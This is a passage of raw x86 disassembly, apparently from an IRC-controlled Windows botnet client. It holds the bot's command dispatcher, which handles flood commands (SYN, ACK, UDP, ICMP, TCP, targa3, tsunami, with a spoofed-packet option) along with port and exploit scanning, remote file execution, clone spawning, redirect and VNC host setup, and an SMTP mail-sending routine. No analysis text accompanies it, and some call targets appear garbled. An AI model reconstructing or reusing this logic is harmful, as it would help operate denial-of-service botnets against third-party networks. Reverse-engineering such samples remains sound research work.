[ebp+arg_4] call sub_418EA8 add esp, 0Ch test eax, eax jz short loc_405FB9 push offset unk_42B364 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FB9: ; CODE XREF: sub_401ACD+44E0j push offset unk_42B344 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_405FC3: ; CODE XREF: sub_401ACD+44B9j push edi push offset aStop ; "stop" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FDB push [ebp+arg_0] push 4 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FDB: ; CODE XREF: sub_401ACD+4505j push edi push offset aPause ; "pause" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_405FF3 push [ebp+arg_0] push 5 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_405FF3: ; CODE XREF: sub_401ACD+451Dj push edi push offset aContinue ; "continue" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40600B push [ebp+arg_0] push 6 jmp short loc_406021 ; --------------------------------------------------------------------------- loc_40600B: ; CODE XREF: sub_401ACD+4535j push edi push offset aDelete ; "delete" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406033 push [ebp+arg_0] push 1 loc_406021: ; CODE XREF: sub_401ACD+44C5j ; sub_401ACD+450Cj ... call sub_418C0E pop ecx pop ecx loc_406028: ; CODE XREF: sub_401ACD+459Fj ; sub_401ACD+4628j ... push eax push offset aS_1 ; "%s" jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406033: ; CODE XREF: sub_401ACD+454Dj push edi push offset aShare ; "share" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40609B cmp [ebp+arg_18], ebx jz short loc_40606E cmp [ebp+var_8FC], bl jz short loc_406059 push ebx push [ebp+arg_18] push 1 jmp short loc_406064 ; --------------------------------------------------------------------------- loc_406059: ; CODE XREF: sub_401ACD+4582j push [ebp+esi+var_84] push [ebp+arg_18] push ebx loc_406064: ; CODE XREF: sub_401ACD+458Aj call sub_418FE5 add esp, 0Ch jmp short loc_406028 ; --------------------------------------------------------------------------- loc_40606E: ; CODE XREF: sub_401ACD+457Aj push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4191DB add esp, 10h test eax, eax jz short loc_406091 push offset unk_42B304 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406091: ; CODE XREF: sub_401ACD+45B8j push offset unk_42B2E4 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40609B: ; CODE XREF: sub_401ACD+4575j push edi push offset aUser ; "user" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406127 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4060FA cmp [ebp+var_8FC], bl jz short loc_4060CD push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060CD: ; CODE XREF: sub_401ACD+45ECj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4060E9 push esi push eax push ebx jmp short loc_4060ED ; --------------------------------------------------------------------------- loc_4060E9: ; CODE XREF: sub_401ACD+4615j push ebx push eax push 2 loc_4060ED: ; CODE XREF: sub_401ACD+45FEj ; sub_401ACD+461Aj call sub_4192FC add esp, 18h jmp loc_406028 ; --------------------------------------------------------------------------- loc_4060FA: ; CODE XREF: sub_401ACD+45E4j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41982C add esp, 10h test eax, eax jz short loc_40611D push offset unk_42B2C4 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40611D: ; CODE XREF: sub_401ACD+4644j push offset unk_42B2A4 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406127: ; CODE XREF: sub_401ACD+45DDj push edi push offset aSend ; "send" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406163 cmp [ebp+arg_18], ebx jz short loc_406159 push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419AE0 add esp, 10h jmp loc_406028 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_401ACD+466Ej push offset unk_42B278 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_406163: ; CODE XREF: sub_401ACD+4669j push offset unk_42B25C jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40616D: ; CODE XREF: sub_401ACD+4462j push [ebp+arg_8] push offset aGethost ; "gethost" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D push [ebp+arg_8] push offset aGh ; "gh" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408C0D loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj ; sub_401ACD+3CC5j ... mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401F75 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aKl ; "kl" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BF0 push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aAa ; "aa" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408BBE push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset dword_42B944 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B6D push [ebp+arg_8] push offset aAction ; "action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aA ; "a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408B04 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aCy ; "cy" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A9E push [ebp+arg_8] push offset aMode ; "mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aM ; "m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408A64 push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4089F6 push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408971 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408900 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4088DA push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40887A push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aT3 ; "t3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40877F push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4086AA push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aRp ; "rp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4085A5 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aDe ; "de" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408508 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aHadeth3 ; "HADETH3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408379 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aE ; "e" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4082E6 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aFf ; "ff" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4081D7 push [ebp+arg_8] push offset aRename ; "rename" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aMv ; "mv" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408160 push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_408063 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401F75 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aC ; "c" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407F7B push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407E82 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4066AE push 7Fh lea eax, [ebp+var_3280] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3200] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3180] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3100] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3078], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_307C], edi mov [ebp+var_3284], esi call sub_40B3BA add esp, 3Ch mov [ebp+var_3080], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3284] push ebx push eax push offset word_41525A push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3080] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40669D loc_406687: ; CODE XREF: sub_401ACD+4BCEj cmp [ebp+var_3074], ebx jnz loc_403D46 push 32h call near ptr 2670EEFh nop jmp short loc_406687 ; --------------------------------------------------------------------------- loc_40669D: ; CODE XREF: sub_401ACD+4BB8j nop call near ptr 26808B7h push eax push offset unk_42B0E4 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSyn ; "syn" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407D9A push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_4067DB push 7Fh lea eax, [ebp+var_36A8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3628] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_35A8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3528] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A4], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_34A0], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_36AC], esi push edi push offset dword_42B09C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B3BA add esp, 20h mov [ebp+var_34A8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36AC] push ebx push eax push offset word_4141B2 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_34A8] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4067CA loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj cmp [ebp+var_349C], ebx jnz loc_407196 push 32h call near ptr 2670EEFh nop jmp short loc_4067B4 ; --------------------------------------------------------------------------- loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j nop call near ptr 26808B7h push eax push offset dword_42B060 jmp loc_407187 ; --------------------------------------------------------------------------- loc_4067DB: ; CODE XREF: sub_401ACD+4C20j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407CB2 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aNazel3 ; "NAZEL3" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407B74 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aRd ; "rd" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407A77 push [ebp+arg_8] push offset aScan ; "scan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aSc ; "sc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407984 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407887 push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407797 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401F75 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aPsc ; "psc" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_407691 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aAd ; "ad" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4071B6 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aUdp ; "udp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aU ; "u" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_40706D push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aNs ; "ns" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406F5F push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aP ; "p" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406E35 push [ebp+arg_8] push offset aVnchost ; "vnchost" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_406A5A push edi call sub_41B52C pop ecx lea eax, [ebp+var_2C4] push edi push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s" push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_401F75 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406A5A: ; CODE XREF: sub_401ACD+4F56j push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_406C8E push [ebp+arg_8] push offset aEmail ; "email" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_406C36 lea eax, [ebp+var_46F0] push edi push eax call sub_41C890 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_438C] push eax call sub_41C890 push [ebp+arg_10] lea eax, [ebp+var_458C] push eax call sub_41C890 push offset asc_42CDD0 ; " " push offset dword_42B940 push [ebp+esi+var_7C] call sub_41843B push eax lea eax, [ebp+var_408C] push eax call sub_41C890 add esp, 30h lea eax, [ebp+var_528C] push eax push 101h call dword_4CB954 lea eax, [ebp+var_46F0] push eax call dword_4CBA68 push 6 push 1 push 2 mov edi, eax call dword_4CBA64 push [ebp+arg_18] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB9E4 mov [ebp+var_31A], ax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_408C] push eax lea eax, [ebp+var_458C] push eax lea eax, [ebp+var_438C] push eax lea eax, [ebp+var_568C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41C266 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB98C mov edi, 100h push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9FC lea eax, [ebp+var_448C] push ebx push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_568C] push eax push esi call dword_4CBA34 push ebx lea eax, [ebp+var_448C] push edi push eax push esi call dword_4CB9FC push esi call dword_4CBA7C call dword_4CB93C lea eax, [ebp+var_458C] push eax push offset unk_42AF00 loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj ; sub_401ACD+4561j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 loc_406BFB: ; CODE XREF: sub_401ACD+2431j add esp, 0Ch loc_406BFE: ; CODE XREF: sub_401ACD+4485j ; sub_401ACD+6575j ... cmp [ebp+var_8], ebx jnz short loc_406C1F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_406C1F: ; CODE XREF: sub_401ACD+296Fj ; sub_401ACD+29C2j ... mov esi, [ebp+arg_24] loc_406C22: ; CODE XREF: sub_401ACD+6814j ; sub_401ACD+773Fj ... lea eax, [ebp+var_2C4] push eax call sub_415D38 pop ecx mov eax, esi jmp loc_401F78 ; --------------------------------------------------------------------------- loc_406C36: ; CODE XREF: sub_401ACD+4FCCj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406C60 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_407208 loc_406C60: ; CODE XREF: sub_401ACD+517Aj push [ebp+esi+var_7C] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41C159 pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_410ADC jmp loc_404085 ; --------------------------------------------------------------------------- loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej ; sub_401ACD+4FB5j mov esi, 80h push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 lea eax, [ebp+var_1358] push eax push offset aSyn ; "syn" call sub_41CA50 add esp, 14h test eax, eax jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aAck ; "ack" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 lea eax, [ebp+var_1358] push eax push offset aRandom_0 ; "random" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_406CF1 push offset unk_42AEB8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_406CF1: ; CODE XREF: sub_401ACD+51EAj ; sub_401ACD+5201j ... push [ebp+arg_10] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1250], eax jle loc_406E1D push edi lea eax, [ebp+var_1358] push esi push eax call sub_41C360 add esp, 0Ch lea eax, [ebp+var_13D8] push [ebp+arg_18] push esi push eax call sub_41C360 push [ebp+arg_0] call sub_41C159 mov [ebp+var_1254], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_124C], eax mov eax, [ebp+arg_4] mov [ebp+var_13DC], eax lea eax, [ebp+var_12D8] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_124C], ebx mov [ebp+var_1248], eax mov eax, [ebp+var_8] mov [ebp+var_1244], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406D8E mov eax, offset aNormal ; "Normal" loc_406D8E: ; CODE XREF: sub_401ACD+52BAj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset unk_42AE74 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_1258], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13DC] push ebx push eax push offset byte_4149C1 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1258] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_406E0C loc_406DF6: ; CODE XREF: sub_401ACD+533Dj cmp [ebp+var_1240], ebx jnz loc_4081AD push 32h nop call near ptr 2670EEFh jmp short loc_406DF6 ; --------------------------------------------------------------------------- loc_406E0C: ; CODE XREF: sub_401ACD+5327j nop call near ptr 26808B7h push eax push offset unk_42AE3C jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406E1D: ; CODE XREF: sub_401ACD+5235j push offset unk_42AE04 loc_406E22: ; CODE XREF: sub_401ACD+1FBEj ; sub_401ACD+1FD4j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_4081AD ; --------------------------------------------------------------------------- loc_406E35: ; CODE XREF: sub_401ACD+4F11j ; sub_401ACD+4F28j ... cmp dword_4CBAD4, ebx jnz loc_406F44 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_FF8], eax mov eax, [ebp+var_4] mov [ebp+var_FFC], eax lea eax, [ebp+var_1090] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_1010], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_100C], eax call sub_41C159 push 7Fh mov [ebp+var_1008], eax push [ebp+var_88] lea eax, [ebp+var_1110] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1114], eax lea eax, [ebp+var_1090] push [ebp+var_1008] push [ebp+var_100C] push eax lea eax, [ebp+var_2C4] push [ebp+var_1010] push offset unk_42ADBC push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B3BA add esp, 24h mov [ebp+var_1000], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1114] push ebx push eax push offset dword_413E10 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1000] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_406F33 loc_406F1D: ; CODE XREF: sub_401ACD+5464j cmp [ebp+var_FF4], ebx jnz loc_4081AD push 32h call near ptr 2670EEFh nop jmp short loc_406F1D ; --------------------------------------------------------------------------- loc_406F33: ; CODE XREF: sub_401ACD+544Ej nop call near ptr 26808B7h push eax push offset unk_42AD84 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_406F44: ; CODE XREF: sub_401ACD+536Ej push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41BFD0 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j ; sub_401ACD+4EFAj push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push [ebp+arg_0] push offset unk_42AD30 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push [ebp+arg_0] call sub_41B9C0 push [ebp+arg_18] mov edi, eax call sub_41B9C0 push [ebp+arg_20] add edi, eax call sub_41B9C0 push [ebp+arg_8] add edi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_10] lea eax, [eax+edi+7] push eax call sub_41C2E0 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41C159 mov edi, [ebp+arg_20] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_1C], ebx jle short loc_407059 loc_406FE2: ; CODE XREF: sub_401ACD+5539j push [ebp+arg_C] push [ebp+arg_18] push edi call sub_418AF1 add esp, 0Ch cmp eax, 1 mov [ebp+arg_20], eax jz short loc_40700A cmp eax, ebx jnz short loc_407029 inc [ebp+arg_1C] mov eax, [ebp+arg_1C] cmp eax, [ebp+arg_14] jl short loc_406FE2 jmp short loc_407062 ; --------------------------------------------------------------------------- loc_40700A: ; CODE XREF: sub_401ACD+552Aj push ebx push [ebp+var_4] push offset unk_42ACF8 loc_407013: ; CODE XREF: sub_401ACD+559Ej push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_407208 ; --------------------------------------------------------------------------- loc_407029: ; CODE XREF: sub_401ACD+552Ej push [ebp+arg_20] lea eax, [ebp+var_2C4] push offset unk_42ACC4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407059: ; CODE XREF: sub_401ACD+5513j cmp [ebp+arg_20], ebx jnz loc_407208 loc_407062: ; CODE XREF: sub_401ACD+553Bj push ebx push [ebp+var_4] push offset unk_42AC90 jmp short loc_407013 ; --------------------------------------------------------------------------- loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej ; sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: ___:004330F0o ; ___:00433104o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC48 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset dword_413F9C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h call near ptr 2670EEFh nop jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj nop call near ptr 26808B7h push eax push offset unk_42AC10 loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, 